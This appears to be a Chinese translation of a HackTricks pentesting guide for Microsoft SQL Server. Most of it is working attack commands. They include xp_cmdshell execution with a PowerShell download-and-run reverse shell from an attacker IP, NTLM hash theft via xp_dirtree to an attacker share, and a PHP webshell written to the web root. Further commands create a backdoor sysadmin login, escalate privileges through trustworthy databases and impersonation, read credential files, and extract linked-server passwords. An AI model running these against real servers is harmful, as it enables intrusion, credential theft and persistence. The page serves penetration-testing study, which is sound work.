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569 lines
27 KiB
Markdown
# 1433 - 渗透测试 MSSQL - Microsoft SQL Server
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<details>
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<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
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支持 HackTricks 的其他方式:
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* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
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</details>
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**Try Hard Security Group**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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***
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## 基本信息
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来自 [维基百科](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
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> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系型数据库** 管理系统。作为数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行(包括互联网)。
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**默认端口:** 1433
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```
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1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
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```
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### **默认 MS-SQL 系统表**
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* **master 数据库**: 这个数据库非常重要,因为它记录了 SQL Server 实例的所有系统级别细节。
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* **msdb 数据库**: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
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* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,其中任何更改,如大小、排序规则、恢复模型等,都会在新创建的数据库中得到反映。
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* **Resource 数据库**: 一个只读数据库,存放着随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
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* **tempdb 数据库**: 用作临时存储区域,用于存放临时对象或中间结果集。
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## 枚举
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### 自动枚举
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如果你对服务一无所知:
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```bash
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nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
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msf> use auxiliary/scanner/mssql/mssql_ping
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```
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{% hint style="info" %}
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如果您**没有凭据**,可以尝试猜测它们。您可以使用nmap或metasploit。请注意,如果您使用现有用户名多次登录失败,可能会**锁定帐户**。
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{% endhint %}
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#### Metasploit(需要凭据)
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```bash
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#Set USERNAME, RHOSTS and PASSWORD
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#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
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#Steal NTLM
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msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
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#Info gathering
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msf> use admin/mssql/mssql_enum #Security checks
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msf> use admin/mssql/mssql_enum_domain_accounts
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msf> use admin/mssql/mssql_enum_sql_logins
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msf> use auxiliary/admin/mssql/mssql_findandsampledata
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msf> use auxiliary/scanner/mssql/mssql_hashdump
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msf> use auxiliary/scanner/mssql/mssql_schemadump
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#Search for insteresting data
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msf> use auxiliary/admin/mssql/mssql_findandsampledata
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msf> use auxiliary/admin/mssql/mssql_idf
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#Privesc
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msf> use exploit/windows/mssql/mssql_linkcrawler
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msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
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msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
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#Code execution
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msf> use admin/mssql/mssql_exec #Execute commands
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msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
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#Add new admin user from meterpreter session
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msf> use windows/manage/mssql_local_auth_bypass
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```
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### [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
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### 手动枚举
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#### 登录
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```bash
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# Using Impacket mssqlclient.py
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mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
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## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
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mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
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# Using sqsh
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sqsh -S <IP> -U <Username> -P <Password> -D <Database>
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## In case Windows Auth using "." as domain name for local user
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sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
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## In sqsh you need to use GO after writting the query to send it
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1> select 1;
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2> go
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```
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#### 常见枚举
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```sql
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# Get version
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select @@version;
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# Get user
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select user_name();
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# Get databases
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SELECT name FROM master.dbo.sysdatabases;
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# Use database
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USE master
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#Get table names
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SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
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#List Linked Servers
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EXEC sp_linkedservers
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SELECT * FROM sys.servers;
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#List users
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select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
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#Create user with sysadmin privs
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CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
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EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
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```
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#### 获取用户
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{% content-ref url="types-of-mssql-users.md" %}
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[types-of-mssql-users.md](types-of-mssql-users.md)
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{% endcontent-ref %}
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```sql
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# Get all the users and roles
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select * from sys.database_principals;
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## This query filters a bit the results
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select name,
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create_date,
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modify_date,
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type_desc as type,
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authentication_type_desc as authentication_type,
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sid
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from sys.database_principals
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where type not in ('A', 'R')
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order by name;
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## Both of these select all the users of the current database (not the server).
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## Interesting when you cannot acces the table sys.database_principals
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EXEC sp_helpuser
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SELECT * FROM sysusers
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```
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#### 获取权限
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1. **可保护资源:** SQL Server 管理的用于访问控制的资源。这些资源分为以下类别:
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- **服务器级别** – 例如数据库、登录、端点、可用性组和服务器角色。
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- **数据库级别** – 例如数据库角色、应用程序角色、架构、证书、全文目录和用户。
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- **架构级别** – 包括表、视图、存储过程、函数、同义词等。
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2. **权限:** 与 SQL Server 可保护资源相关联的权限,如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别:
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- **服务器级别** 使用登录
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- **数据库级别** 使用用户
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3. **主体:** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具有访问权限的角色中,来实施对可保护资源的访问控制。
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```sql
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# Show all different securables names
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SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
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# Show all possible permissions in MSSQL
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SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
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# Get all my permissions over securable type SERVER
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SELECT * FROM fn_my_permissions(NULL, 'SERVER');
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# Get all my permissions over a database
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USE <database>
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SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
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# Get members of the role "sysadmin"
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Use master
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EXEC sp_helpsrvrolemember 'sysadmin';
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# Get if the current user is sysadmin
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SELECT IS_SRVROLEMEMBER('sysadmin');
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# Get users that can run xp_cmdshell
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Use master
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EXEC sp_helprotect 'xp_cmdshell'
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```
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## 技巧
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### 执行操作系统命令
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{% hint style="danger" %}
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请注意,要能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。您可以查看谁(除了 sysadmins)可以使用 **`xp_cmdshell`**:
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```sql
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Use master
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EXEC sp_helprotect 'xp_cmdshell'
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```
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{% endhint %}
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```bash
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# Username + Password + CMD command
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crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
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# Username + Hash + PS command
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crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
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# Check if xp_cmdshell is enabled
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SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
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# This turns on advanced options and is needed to configure xp_cmdshell
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sp_configure 'show advanced options', '1'
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RECONFIGURE
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#This enables xp_cmdshell
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sp_configure 'xp_cmdshell', '1'
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RECONFIGURE
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#One liner
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sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
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# Quickly check what the service account is via xp_cmdshell
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EXEC master..xp_cmdshell 'whoami'
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# Get Rev shell
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EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
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# Bypass blackisted "EXEC xp_cmdshell"
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'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
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```
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### 窃取 NetNTLM 哈希 / 中继攻击
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您应该启动一个 **SMB 服务器** 来捕获在身份验证中使用的哈希(例如 `impacket-smbserver` 或 `responder`)。
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```bash
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xp_dirtree '\\<attacker_IP>\any\thing'
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exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
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EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
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EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
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# Capture hash
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sudo responder -I tun0
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sudo impacket-smbserver share ./ -smb2support
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msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
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```
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{% hint style="warning" %}
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您可以检查除了系统管理员之外谁有权限运行这些 MSSQL 函数:
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```sql
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Use master;
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EXEC sp_helprotect 'xp_dirtree';
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EXEC sp_helprotect 'xp_subdirs';
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EXEC sp_helprotect 'xp_fileexist';
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```
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{% endhint %}
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使用诸如 **responder** 或 **Inveigh** 等工具,可以**窃取 NetNTLM 哈希**。\
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您可以查看如何使用这些工具:
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{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
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[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
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{% endcontent-ref %}
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### 滥用 MSSQL 受信任链接
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[**阅读此文章**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息:**
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{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
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[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
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{% endcontent-ref %}
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### **写入文件**
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要使用 `MSSQL` 写入文件,我们**需要启用** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option),这需要管理员特权,然后执行一些存储过程来创建文件:
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```bash
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# Enable Ole Automation Procedures
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sp_configure 'show advanced options', 1
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RECONFIGURE
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sp_configure 'Ole Automation Procedures', 1
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RECONFIGURE
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# Create a File
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DECLARE @OLE INT
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DECLARE @FileID INT
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EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
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EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
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EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
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EXECUTE sp_OADestroy @FileID
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EXECUTE sp_OADestroy @OLE
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```
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### **使用 OPENROWSET 读取文件**
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默认情况下,`MSSQL` 允许对操作系统中帐户具有读取访问权限的任何文件进行读取。我们可以使用以下 SQL 查询:
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```sql
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SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
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```
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然而,**`BULK`** 选项需要 **`ADMINISTER BULK OPERATIONS`** 或 **`ADMINISTER DATABASE BULK OPERATIONS`** 权限。
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```sql
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# Check if you have it
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SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
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```
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#### 基于错误的 SQLi 向量:
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```
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https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
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```
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### **RCE/读取文件执行脚本(Python和R)**
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MSSQL可以允许您执行**Python和/或R脚本**。这些代码将由一个**不同的用户**执行,而不是使用**xp\_cmdshell**来执行命令的用户。
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尝试执行一个**'R'** _"Hellow World!"_ **不起作用**的示例:
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![](<../../.gitbook/assets/image (185) (1).png>)
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使用配置的Python执行多个操作的示例:
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```sql
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# Print the user being used (and execute commands)
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
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#Open and read a file
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
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#Multiline
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'
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import sys
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print(sys.version)
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'
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GO
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```
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### 读取注册表
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Microsoft SQL Server提供了多个扩展存储过程,允许您与网络、文件系统甚至[Windows注册表](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)进行交互:
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| **常规** | **实例感知** |
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| ---------------------------- | -------------------------------------- |
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| sys.xp\_regread | sys.xp\_instance\_regread |
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| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
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| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
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| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
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| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
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| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
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| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
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| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
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```sql
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# Example read registry
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EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
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# Example write and then read registry
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EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
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EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
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# Example to check who can use these functions
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Use master;
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EXEC sp_helprotect 'xp_regread';
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EXEC sp_helprotect 'xp_regwrite';
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```
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### 通过 MSSQL 用户定义函数 SQLHttp 进行 RCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||
|
||
可以在 MSSQL 中使用自定义函数加载 .NET dll。然而,这需要 `dbo` 访问权限,因此您需要一个作为 `sa` 或管理员角色连接到数据库。
|
||
|
||
查看[原始来源](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)以获取更多示例。
|
||
|
||
### RCE 的其他方法
|
||
|
||
还有其他方法可以实现命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR 程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server 代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
|
||
|
||
## MSSQL 权限提升
|
||
|
||
### 从 db_owner 提升至 sysadmin
|
||
|
||
如果将**普通用户**赋予**`db_owner`**角色对**由管理员用户**(如**`sa`**)拥有的数据库的权限,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行**权限提升**,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
|
||
```sql
|
||
# Get owners of databases
|
||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||
|
||
# Find trustworthy databases
|
||
SELECT a.name,b.is_trustworthy_on
|
||
FROM master..sysdatabases as a
|
||
INNER JOIN sys.databases as b
|
||
ON a.name=b.name;
|
||
|
||
# Get roles over the selected database (look for your username as db_owner)
|
||
USE <trustworthy_db>
|
||
SELECT rp.name as database_role, mp.name as database_user
|
||
from sys.database_role_members drm
|
||
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
||
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
||
|
||
# If you found you are db_owner of a trustworthy database, you can privesc:
|
||
--1. Create a stored procedure to add your user to sysadmin role
|
||
USE <trustworthy_db>
|
||
|
||
CREATE PROCEDURE sp_elevate_me
|
||
WITH EXECUTE AS OWNER
|
||
AS
|
||
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
|
||
|
||
--2. Execute stored procedure to get sysadmin role
|
||
USE <trustworthy_db>
|
||
EXEC sp_elevate_me
|
||
|
||
--3. Verify your user is a sysadmin
|
||
SELECT is_srvrolemember('sysadmin')
|
||
```
|
||
你可以使用一个**metasploit**模块:
|
||
```bash
|
||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||
```
|
||
或者一个 **PS** 脚本:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||
```
|
||
### 模拟其他用户
|
||
|
||
SQL Server有一个特殊权限,名为**`IMPERSONATE`**,允许执行用户承担另一个用户或登录的权限,直到上下文被重置或会话结束。
|
||
```sql
|
||
# Find users you can impersonate
|
||
SELECT distinct b.name
|
||
FROM sys.server_permissions a
|
||
INNER JOIN sys.server_principals b
|
||
ON a.grantor_principal_id = b.principal_id
|
||
WHERE a.permission_name = 'IMPERSONATE'
|
||
# Check if the user "sa" or any other high privileged user is mentioned
|
||
|
||
# Impersonate sa user
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
```
|
||
{% hint style="info" %}
|
||
如果您可以冒充一个用户,即使他不是sysadmin,您应该检查该用户是否可以访问其他数据库或链接服务器。
|
||
|
||
请注意,一旦您成为sysadmin,您可以冒充任何其他用户:
|
||
{% endhint %}
|
||
```sql
|
||
-- Impersonate RegUser
|
||
EXECUTE AS LOGIN = 'RegUser'
|
||
-- Verify you are now running as the the MyUser4 login
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
-- Change back to sa
|
||
REVERT
|
||
```
|
||
你可以使用**metasploit**模块执行这种攻击:
|
||
```bash
|
||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||
```
|
||
或者使用**PS**脚本:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||
```
|
||
## 使用MSSQL进行持久化
|
||
|
||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||
|
||
## 从SQL Server Linked Servers中提取密码
|
||
攻击者可以从SQL实例中提取SQL Server Linked Servers密码,并以明文形式获取这些密码,从而授予攻击者可以用来在目标上获得更大立足点的密码。
|
||
用于提取和解密存储在Linked Servers中的密码的脚本可以在[此处](https://www.richardswinbank.net/admin/extract_linked_server_passwords)找到。
|
||
|
||
为使此漏洞利用生效,需要进行一些要求和配置。
|
||
首先,您必须在计算机上拥有管理员权限,或者具有管理SQL Server配置的能力。
|
||
|
||
在验证权限后,您需要配置三件事,如下所示:
|
||
1. 在SQL Server实例上启用TCP/IP;
|
||
2. 添加一个启动参数,在本例中,将添加一个跟踪标志,即-T7806。
|
||
3. 启用远程管理员连接。
|
||
|
||
要自动化这些配置,[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。
|
||
除了为每个配置步骤提供一个PowerShell脚本外,该存储库还提供了一个完整脚本,结合了配置脚本以及密码的提取和解密。
|
||
|
||
有关此攻击的更多信息,请参考以下链接:
|
||
[解密MSSQL数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||
|
||
[解决SQL Server专用管理员连接问题](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||
|
||
## 本地权限提升
|
||
|
||
运行MSSQL服务器的用户将启用特权令牌**SeImpersonatePrivilege**。\
|
||
您可能能够通过以下两个页面之一**提升为管理员**:
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
|
||
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Shodan
|
||
|
||
* `port:1433 !HTTP`
|
||
|
||
## 参考资料
|
||
|
||
* [如何获取所有数据库用户列表](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||
* [SQL Server登录用户权限fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||
* [高级MSSQL注入技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||
* [黑客SQL Server存储过程第一部分:不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||
* [黑客SQL Server存储过程第二部分:用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||
* [通过Metasploit使用SQL Server执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||
* [在SQL Server中使用注册表的工作](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## HackTricks自动命令
|
||
```
|
||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||
Port_Number: 1433 #Comma separated if there is more than one.
|
||
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MSSQL
|
||
Note: |
|
||
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
|
||
|
||
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
|
||
|
||
###the goal is to get xp_cmdshell working###
|
||
1. try and see if it works
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
2. try to turn component back on
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
3. 'advanced' turn it back on
|
||
EXEC SP_CONFIGURE 'show advanced options', 1
|
||
reconfigure
|
||
go
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell 'whoami'
|
||
go
|
||
|
||
|
||
|
||
|
||
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
||
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
||
|
||
Entry_2:
|
||
Name: Nmap for SQL
|
||
Description: Nmap with SQL Scripts
|
||
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
|
||
|
||
Entry_3:
|
||
Name: MSSQL consolesless mfs enumeration
|
||
Description: MSSQL enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
||
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|